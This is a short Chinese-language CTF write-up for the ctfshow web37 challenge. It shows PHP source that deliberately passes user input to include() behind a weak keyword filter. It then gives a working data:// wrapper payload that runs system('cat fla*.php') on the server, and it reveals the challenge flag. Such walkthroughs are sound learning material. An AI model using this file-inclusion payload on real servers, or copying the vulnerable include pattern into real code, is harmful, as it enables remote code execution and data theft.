ctfshow-web37
文章目录
题目描述:
原理:
审计:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){ //过滤了flag
include($c); //文件包含漏洞,包含变量c
echo $flag; //输出变量flag的内容
}
}else{
highlight_file(__FILE__);
}
方法:
思路:
利用文件按包含漏洞,data协议
以为include()函数可以文件包含一个文件,并且可以执行该文件的内容(如果该文件有代码内容的话)
这个题是include包含的变量c,同样,可以利用文件包含漏洞,将c变量想办法变更成php代码,从而通过include函数执行。
协议:
php://协议
php:// 访问各个输入/输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行
file://协议 用于访问本地文件系统,在CTF中通常用来读取本地文件
data://协议 通常可以用来执行PHP代码
payload:http://31dfeb01-c218-4654-a73b-b762ec34a248.challenge.ctf.show/?c=data://text/plain,<?php system("cat fla*.php");?>
ls查看有什么文件,发现flag.php
cat flag.phphttp://31dfeb01-c218-4654-a73b-b762ec34a248.challenge.ctf.show/?c=data://text/plain,<?php system("cat fla*.php");?>
得到flag
Flag:
ctfshow{f743851c-e2ec-4033-b3ed-356d7ac1863d}